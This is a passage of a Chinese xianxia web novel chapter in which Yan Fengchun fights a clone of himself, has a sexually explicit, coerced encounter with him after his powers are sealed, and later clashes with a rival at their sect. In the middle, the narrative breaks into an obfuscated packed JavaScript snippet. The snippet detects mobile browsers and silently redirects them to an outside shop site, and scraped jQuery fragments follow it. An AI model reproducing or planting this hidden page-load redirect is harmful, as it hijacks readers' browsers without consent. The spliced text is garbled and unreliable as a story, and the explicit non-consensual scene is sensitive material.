两人招招致命,都是朝着要对方命的目的出手,一个比一个狠辣。

    “燕逢春,大师兄知道你这么恶毒吗?连自己都敢下毒手?”

    “闭嘴!你不过是照着我的样子捏出来的一个仿品罢了,有什么资格置喙!更不配肖想大师兄!”

    燕逢春怒然将匕首向前压了一寸,而另一个自己却突然闷哼一声,来不及格挡,任由自己被划出一条血痕。

    “呵,赝品到底还是棋差一招……”得意的话还未说完,燕逢春便感觉到一股难以言喻的热流向下涌去。

    身上失了几分力气轻轻一晃,他不由得暗骂一声,手中的匕首也松了些许。

    对方也趁此机会反手夺下刀,闪身来到他身后。

    如今形势倒转,燕逢春赤红着眼被人死死禁锢,冰凉的刀身措不及防抵上滚烫的颈侧,他被激得瑟缩了一下。

    “怎么,你的命现在也在赝品手里,你死了,我便是唯一的燕逢春。”

    对方满怀恶意的声音在他耳侧响起,呼吸急促,引起一阵阵战栗。

    燕逢春强忍着不适开口威胁道:“你大可试试,我若自爆,你也休想独活!”

    “哦,是吗?既然如此……”

    感受到脖子上的冰凉渐渐远离,燕逢春稍稍松了口气,可他还没来的及有下一步动作,便感受到似乎有坚硬的刀柄抵住了他的后背。

    这个阴险狡诈的家伙,竟然留有后手。

    燕逢春反手向后一抓,想夺走对方的武器,却在被撞了一下后,生生顿在了原地。

    无耻!

    “今夜恰巧是月圆之夜,你的欲果之毒也发作了,对吗?”

    对方低低笑了两下,在寂静的秘境中格外明显。

    “燕逢春,我不想死,你也不想死。”

    他一句话将极力反抗的燕逢春定在一旁。

    巨蟒说过,月圆之夜若不结合,便会爆体而亡。

    燕逢春脸色铁青,却架不住身体中的热浪一股接着一股。

    早不来晚不来,偏偏这个时候发作。

    罢了,好歹对方与他同根同源,先忍让一场再弄死也不迟。

    他心一横,转身抬脚一扫,将另一个自己撂倒在地,双手钳制住对方的肩膀,随后低头狠狠亲了上去。

    上次是失误,此次他绝对要在上面!

    怎知身下那个人竟乖乖躺在地上,任由燕逢春摆弄。

    他本有些疑惑,按照另一个自己的性子不太会就此放弃。可随着心下那团火愈烧愈旺,便也未纠结多少。

    两人唇齿相抵,毫无章法地相互撕咬吞咽,似乎要将另一个人重新融入自己的骨血之中。

    血腥味在口中蔓延,燕逢春眯起眼,他忽然感受到自己的上颚被人恶劣地逗弄着,紧接着一股酥麻之感向全身弥漫。

    燕逢春一抖,大脑突然变得空白。

    过了许久他才反应过来,不得有些恼怒,狠狠瞪了一眼下面的人,却不想浑身的灵力已然被禁锢,想抬手给他一拳却使不上半点劲。

    “燕逢春啊燕逢春,你早该知道自己是怎样的人。”

    方才唇齿交融之时,另一个自己的手早已不知不觉抚上他的后颈,趁他不注意封住了灵脉。

    “你不是想在上面吗?那就别下来了!”

    燕逢春脸色一变,可惜现下手脚酸软毫无抵抗之力,不得已被人悬空托起。

    下一刻,失重之感伴随着剧烈的刺激猛然袭来,他死死盯着身下之人,恨不得将他千刀万剐。

    “无耻……你……我要杀了你!”

    “你脸上什么时候多了颗泪痣?”对方的目光死死盯着他的眼下,仿佛中了什么术法一般,着迷地舔了上去,“我都没有,真好看。”

    他哪有心思去管什么时候多长了颗痣,拼尽全力试图冲破灵力禁锢,可刚鼓起的劲却又马上被对方再次的攻击冲散。

    一而再再而三的被动让他有些恼怒,燕逢春竭力撑起身子,用仅有的力气抬手狠狠扇了身下那人一巴掌。

    (删巴掌不是特殊癖好!!!是实在没劲了只有手有劲的反击!不要锁我,审核大人我求你们了)

    双唇刚刚分离,几根银丝还若即若离地勾连着,却不得不随着掌风断开。

    鲜血从嘴边溢出,却显得另一个自己完全相同的面庞更加诡异。

    他伸出舌头,颇为色气地舔走了唇边的血渍,偏过头朝燕逢春挑了挑眉。

    死变态!

    燕逢春大怒,狠狠瞪他一眼,骂人的话还没来得及说出口,便又被贴上来的唇堵了回去。

    欲海浮沉。

    ——

    待到燕逢春转醒,已是日上三更。

    他低头转了转僵硬的脖子,锁骨处大片的红痕突然映入眼帘,昨晚荒唐的记忆也随之涌上来。

    “你身体……怎么样?还疼吗?”

    听到这话,燕逢春脸一黑,登时气不打一处来。

    “你还敢问?昨天到底是谁封了我的灵脉,又是谁像个变态一样又啃又咬?”

    对方欲言又止,自知理亏不得不退让一步。

    “我……那欲果着实厉害,我本意不想……罢了,你以后也别那个那个地喊我了,叫我燕南陌。”

    燕南陌?

    燕逢春狐疑地看他一眼,总觉得这个名字有点不对,但毕竟是对方主动让步,他也只好勉为其难地点头接受了。

    又想到了什么,他抬手摸了摸自己的眼角,感受到一颗小小的凸起。

    昨晚不太美妙的回忆涌上心头,燕逢春深吸一口气,还是提醒道:“等回了宗门,你也别忘了给自己幻化颗黑痣,免得旁人看出来了会露馅。”

    “红的。”

    “什么?”

    “痣是红的,不是黑的。”

    燕南陌只看了一眼便强行垂下眼,喉头不自觉滚了滚。

    燕逢春顿了顿,不用一秒便清楚了对方是什么心思,不由得暴怒。

    “管他红的黑的,你个杀千刀的,敢再看一眼我就把你的眼睛给剜下来!”

    此事过后,回宗门的路上有些沉默。

    燕逢春好强,即使不太舒服也强忍着,面上没有显露出一丝不对劲。

    而燕南陌作为他分裂出来的另一半,同样好强。

    知道燕逢春不适,想着扶他一下,却不想被无情甩开,还无辜得了一个白眼,顿时来也来气不作关心了。

    两人就这样僵持了一路。

    眼看宗门越来越近,燕逢春不得不别扭地开了口:“等会我先进去,后山阵法有一处漏洞,你晚上趁着没人再进来,最近宗门查的严,别在旁人面前露馅了。”

    嘴上说得十分周全,可心里却不是这么想的。

    他曾为了捕灵兽,在后山设了不少锁灵阵,正好就在那漏洞附近。

    若是燕南陌不慎落入其中……

    一个没有灵力的废物,若是再将神魂抽出来,欲果之毒又有何可惧?

    浑浑噩噩的傀儡可比神智清明的修士好太多,如此,便没人同他抢大师兄,世上也只有一个燕逢春。

    想到这,他心情不要好太多,眼中阴狠褪去多了一分愉悦。

    “为何不让我先进,你自己去后山钻狗洞?毕竟我不像你一样,实操经验丰富。”

    受了一路的气,燕南陌憋着一肚子不满,冷笑着和他作对。

    “弟子令牌只有一块,有本事你来抢。”

    多说多错,燕逢春也不想多作解释,干脆抛下对方,直接御剑向宗门冲去。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787566|210215||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >高兴不了多久,在看清今天大门值守的弟子之后,燕逢春烦闷的心情再次到达了顶峰。

    又是小师弟那些阴魂不散的追求者。

    虽喊着小师弟,可莫连溪和他并不是嫡亲的师兄弟关系。

    他和大师兄纪听寒都是剑峰峰主天流仙尊从凡间捡来的,在外门历练考察了一番后,才收作亲传弟子。

    而莫连溪本是别宗的杂役,不知怎地得了掌门的青眼,力排众议将他收入门下。

    小师弟和他不一样。

    燕逢春虽长得极美,却总被人觉得太过阴柔,似是鼎炉之姿。

    空有一副相貌,资质不好却占着仙尊弟子的位置,阴暗令人厌恶。

    而莫连溪修为也平平,但不知为何,谁看见他都会忍不住生出怜惜之意来。

    用众多追求者的话来说,心善却体弱,着实可怜可爱。

    可怜可爱?我呸!

    还未走近,燕逢春老远就听见那守门的二人如何谈论夸赞着那位小师弟,不由得生出一股恶心之意。

    莫连溪仗着身体不好和掌门的宠爱,明里暗里给他下了不知多少绊子。

    就连这次藏凌花的消息,恐怕都是莫连溪故意说给他听,就盼着他能死在那化神蛇妖的口中。

    想到这,本就不好看的脸色更臭了。

    他面无表情地递上令牌,也不管值守弟子轻蔑的目光,径直御剑向剑峰飞去。

    云起宗很大,重峦叠嶂,连绵不绝。

    往常燕逢春对此赞不绝口,宗门就是要大一点才好,御剑途中欣赏瑰丽的自然风光有助于身心舒畅。

    可是现在隐隐作痛的屁股告诉他,应该马上回归舒适的床榻,而不是僵硬地在空中吹风。

    更不谈下一秒恰好撞上莫连溪一行人。

    “呀!这不是燕师兄吗?”

    人群簇拥着的莫连溪格外显得娇小柔弱,白色的弟子服配上半披散的头发,圆润的眼睛看到他露出一丝惊讶来,随后又笑着招手。

    披麻戴孝像鬼一样。

    燕逢春在心里如此评价道。

    “哦,原来是小师弟啊。”

    他露出一个假笑,随后又低下头准备速速离开这个是非之地。

    “燕师兄是刚从秘境回来吧?只可惜晚了几步,没赶上前些日子大师兄出关。”莫连溪轻轻叹了口气,仿佛真心为他遗憾一般,“不过你放心,我已经告诉大师兄,你的为他准备的出关礼物是藏凌花……”

    “什么?藏凌花?可是那百年难得一见,可助金丹修士迅速破镜的藏凌花!”

    筑基是凡人到修士的一道坎,而元婴则是普通修行者到大能的关键一步。

    天下修士不知凡几,可成功破镜结婴的寥寥无几,无数人终其一生都困于金丹。

    可见藏凌花何其珍贵!

    听到莫连溪这话,燕逢春脸都黑了一半。

    放心个屁!他就知道这个小师弟从里到外都是黑的!

    “听说藏凌花极为好看,过不知燕师兄可否拿出来让我们开开眼?”莫连溪微微一笑,目光中含着些期待。

    燕逢春懒得和他掰扯,直接摆手表示自己没取到。

    “没能拿到?”莫小师弟看起来惊讶得很,随后意味深长地扫了他一眼,突然转移了话题,“我听说燕师兄卡在筑基初级很久了,如今出去一趟竟已成功升阶到中期,可真是恭喜师兄了。”

    燕逢春看着他拱手作揖,内心的警惕达到了巅峰。

    抽什么风?黄鼠狼给鸡拜年?

    果然,下一秒他的预感便成了真。

    “云起宗谁不知道天流仙尊座下二弟子,是个百年难得一见的修炼废柴!怎么去了趟秘境就破镜了呢?什么没取到藏凌花,怕不是自己偷偷用了吧!”